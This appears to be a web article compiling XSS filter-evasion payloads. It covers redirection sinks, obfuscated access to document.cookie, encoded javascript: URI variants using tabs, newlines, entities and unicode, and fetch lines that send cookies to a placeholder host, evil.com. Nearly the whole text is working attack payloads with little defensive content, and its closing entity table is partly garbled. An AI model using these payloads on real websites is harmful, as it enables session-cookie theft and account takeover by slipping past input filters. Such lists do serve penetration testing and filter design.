XSS-Bypass-Filters : Comprehensive Guide To Attack Techniques And Filter Evasion Strategies

This article dives into the sophisticated realm of Cross-Site Scripting (XSS) attacks, specifically focusing on bypassing security filters that are designed to thwart these intrusions.

It showcases a wide array of techniques and strategies for evading detection, from manipulating document properties to exploiting character encoding vulnerabilities.

Through detailed examples, it aims to equip developers and security professionals with the knowledge to recognize and defend against these complex XSS vulnerabilities.

Redirection

document.location=
document['location']=
window.location=
this["window"]["location"]=
document.location.href=
location.href=
location=
window.location.assign()
window['location']['href']=
document.location.replace()
window.open("link", "_blank");

Link

//google.com/?=a
//134744072:1234/?a= (decimal ip)

Cookies

document.cookie 
document['cookie']
with(document)alert(cookie)
doc\u0075ment.cookie
doc\u0075ment['cookie']
window["doc"+"ument"]["cookie"]

Concat

fetch("//evil.com/?c="+document.cookie)
fetch("//evil.com/?c=".concat(document.cookie))
fetch("//evil.com/?c=", document.cookie].join())
fetch(`//evil.com/?c=${document.cookie}`) 

Href

<!--javascript -->
javascript:alert(1)
JaVaScript:alert(1)
ja&Tab;vascript:alert(1)
java\tscript:alert(1)
ja&NewLine;vascript:alert(1)
ja&#x0000A;vascript:alert(1)
java&#x73;cript:alert()
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert('XSS')

# tab (0x9), newline (0xa) and carriage return (0xd) allowed (inside or after the protocol) 

ja
vascript:alert(1) # New line 

jav	asc	ript	:alert(1) # Tab

# Special Characters before the protocol (Raw or encode)
# \x01-\x20 are allowed - Somes Example :
http://www.unicode-symbol.com/u/0017.html
http://www.unicode-symbol.com/u/0008.html

&#23;javascript:alert('Successful XSS') # ETB HTML
&#x8;javascript:alert(1) # Backspace HTML

# colon
javascript&colon;alert()
javascript&#x0003A;alert()
javascript&#58;alert(1)
javascript&#x3A;alert()

# javascript://
javascript://%0Aalert(1)
javascript://%0Dalert(1)

#  target="_blank"
- Scroll Click
- Shift + Click
- Ctrl + Click

# alert
javascript:alert&lpar;&rpar;
javascript:al&#x65;rt``
javascript:alert%60%60
javascript:x='%27-alert(1)-%27';
javascript:%61%6c%65%72%74%28%29

#JS unicode 
javascript:a\u006Cert``"
javascript:\u0061\u006C\u0065\u0072\u0074``

HTML ENTITY

' -> '
" -> "
` -> `
` -> `
( -> (
) -> )
{ -> {
} -> }
& -> &
< -> &lt;
> -> &gt;
\n -> &NewLine;
\t -> &Tab;
nbsp -> &nbsp;
\ -> &bsol;